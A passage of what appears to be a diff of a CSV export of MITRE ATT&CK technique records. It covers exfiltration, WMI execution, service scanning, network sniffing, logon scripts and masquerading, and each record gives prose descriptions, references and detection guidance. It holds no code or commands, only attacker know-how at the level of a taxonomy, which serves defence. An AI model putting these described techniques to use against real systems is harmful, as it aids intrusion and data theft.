FTP.(Citation: Palo Alto OilRig Oct 2016) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1048', external_id='T1048'), ExternalReference(source_name='Palo Alto OilRig Oct 2016', description='Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.', url='http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:50:31.548000+00:00,Exfiltration Over Alternative Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Alfredo Abarca'],"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.2 -2017-05-31 21:30:44.329000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) - -An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1047', external_id='T1047'), ExternalReference(source_name='Wikipedia SMB', description='Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.', url='https://en.wikipedia.org/wiki/Server_Message_Block'), ExternalReference(source_name='TechNet RPC', description='Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.', url='https://technet.microsoft.com/en-us/library/cc787851.aspx'), ExternalReference(source_name='MSDN WMI', description='Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', url='https://msdn.microsoft.com/en-us/library/aa394582.aspx'), ExternalReference(source_name='FireEye WMI SANS 2015', description=""Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."", url='https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'), ExternalReference(source_name='FireEye WMI 2015', description='Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf')]",attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-05-13 22:50:51.258000+00:00,Windows Management Instrumentation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']",,,,,"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of ""wmic"" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)",,,,,False,,,"['User', 'Administrator']",['Windows'],True,"['WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.']",,1.1 -2017-05-31 21:30:43.915000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. - -Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1046', external_id='T1046'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/300.html', external_id='CAPEC-300')]",attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-09 14:56:26.562000+00:00,Network Service Scanning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Command: Command Execution', 'Cloud Service: Cloud Service Enumeration', 'Network Traffic: Network Traffic Flow']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.",,,,,False,,,"['Administrator', 'SYSTEM', 'User']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",,,,2.2 -2017-05-31 21:30:42.657000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.** - -Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as - -* TCP:80 (HTTP) -* TCP:443 (HTTPS) -* TCP:25 (SMTP) -* TCP/UDP:53 (DNS) +[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1048', 'external_id': 'T1048'}, {'source_name': 'Palo Alto OilRig Oct 2016', 'description': 'Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['William Cain', 'Alfredo Abarca']","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",1.3,,,True,,,, +attack-pattern,attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:44.329Z,2021-10-15T23:58:07.715Z,Windows Management Instrumentation,"Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015) -They may use the protocol associated with the port or a completely different protocol. +An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1047', 'external_id': 'T1047'}, {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'}, {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'}, {'source_name': 'FireEye WMI SANS 2015', 'description': ""Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020."", 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['@ionstorm'],"['Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']",,"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of ""wmic"" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)",False,"['User', 'Administrator']",['Windows'],1.2,True,,,,,, +attack-pattern,attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:43.915Z,2021-04-09T14:56:26.562Z,Network Service Scanning,"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. -For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are +Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1046', 'external_id': 'T1046'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/300.html', 'external_id': 'CAPEC-300'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Command: Command Execution', 'Cloud Service: Cloud Service Enumeration', 'Network Traffic: Network Traffic Flow']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -* TCP/UDP:135 (RPC) -* TCP/UDP:22 (SSH) -* TCP/UDP:3389 (RDP)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1043', external_id='T1043'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-07-06 17:54:28.071000+00:00,Commonly Used Port,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2017-05-31 21:30:41.804000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1041', external_id='T1041'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-12 15:59:47.470000+00:00,Exfiltration Over C2 Channel,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,2.0 -2017-05-31 21:30:41.399000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. +Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.",False,"['Administrator', 'SYSTEM', 'User']","['Windows', 'IaaS', 'Linux', 'macOS', 'Containers']",2.2,,,,,,, +attack-pattern,attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:41.804Z,2021-10-15T22:45:50.620Z,Exfiltration Over C2 Channel,Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1041', 'external_id': 'T1041'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",2.1,,,True,,,, +attack-pattern,attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:41.399Z,2021-04-02T17:51:59.236Z,Network Sniffing,"Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. -Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1040', external_id='T1040'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/158.html', external_id='CAPEC-158')]",attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-02 17:51:59.236000+00:00,Network Sniffing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution']",,,,,"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.",,,,,False,,,"['Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows', 'Network']",,['Network interface access and packet capture driver'],,1.2 -2017-05-31 21:30:41.022000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1039', external_id='T1039'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/639.html', external_id='CAPEC-639')]",attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-24 15:42:44.026000+00:00,Data from Network Shared Drive,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Access', 'Network Share: Network Share Access', 'Command: Command Execution']",,,,,Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,,,,,False,,,,"['Linux', 'macOS', 'Windows']",,['Privileges to access network shared drive'],,1.2 -2017-05-31 21:30:38.910000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. +Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1040', 'external_id': 'T1040'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/158.html', 'external_id': 'CAPEC-158'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.",False,"['Administrator', 'SYSTEM']","['Linux', 'macOS', 'Windows', 'Network']",1.2,,['Network interface access and packet capture driver'],,,,, +attack-pattern,attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:41.022Z,2020-03-24T15:42:44.026Z,Data from Network Shared Drive,"Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1039', 'external_id': 'T1039'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/639.html', 'external_id': 'CAPEC-639'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Network Share: Network Share Access', 'Command: Command Execution']",,Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,False,,"['Linux', 'macOS', 'Windows']",1.2,,['Privileges to access network shared drive'],,,,, +attack-pattern,attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:38.910Z,2021-04-27T19:58:02.332Z,Boot or Logon Initialization Scripts,"Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. -An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1037', external_id='T1037'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/564.html', external_id='CAPEC-564')]",attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-27 19:58:02.332000+00:00,Boot or Logon Initialization Scripts,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Creation', 'File: File Modification']",,,,,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,,,,,False,,,,"['macOS', 'Windows', 'Linux']",,,,2.1 -2017-05-31 21:30:38.511000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. +An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1037', 'external_id': 'T1037'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/564.html', 'external_id': 'CAPEC-564'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Creation', 'File: File Modification']",,Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.,False,,"['macOS', 'Windows', 'Linux']",2.1,,,,,,, +attack-pattern,attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:38.511Z,2021-10-18T13:24:52.973Z,Masquerading,"Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. -Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1036', external_id='T1036'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/177.html', external_id='CAPEC-177'), ExternalReference(source_name='LOLBAS Main Site', description='LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.', url='https://lolbas-project.github.io/'), ExternalReference(source_name='Elastic Masquerade Ball', description='Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', url='http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'), ExternalReference(source_name='Twitter ItsReallyNick Masquerading Update', description='Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', url='https://twitter.com/ItsReallyNick/status/1055321652777619457')]",attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-24 13:24:45.840000+00:00,Masquerading,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Oleg Kolesnikov, Securonix', 'Nick Carr, FireEye', 'David Lu, Tripwire', 'Felipe Espósito, @Pr0teus', 'Elastic', 'Bartosz Jerzman']","['Image: Image Metadata', 'Command: Command Execution', 'Service: Service Metadata', 'Service: Service Creation', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification', 'File: File Metadata', 'Process: Process Metadata', 'File: File Modification']",['Application control by file name or path'],,,,"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. +Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036', 'external_id': 'T1036'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/177.html', 'external_id': 'CAPEC-177'}, {'source_name': 'LOLBAS Main Site', 'description': 'LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.', 'url': 'https://lolbas-project.github.io/'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oleg Kolesnikov, Securonix', 'Nick Carr, Mandiant', 'David Lu, Tripwire', 'Felipe Espósito, @Pr0teus', 'Elastic', 'Bartosz Jerzman']","['Image: Image Metadata', 'Command: Command Execution', 'Service: Service Metadata', 'Service: Service Creation', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification', 'File: File Metadata', 'Process: Process Metadata', 'File: File Modification']",['Application control by file name or path'],"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) -Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters""\u202E"", 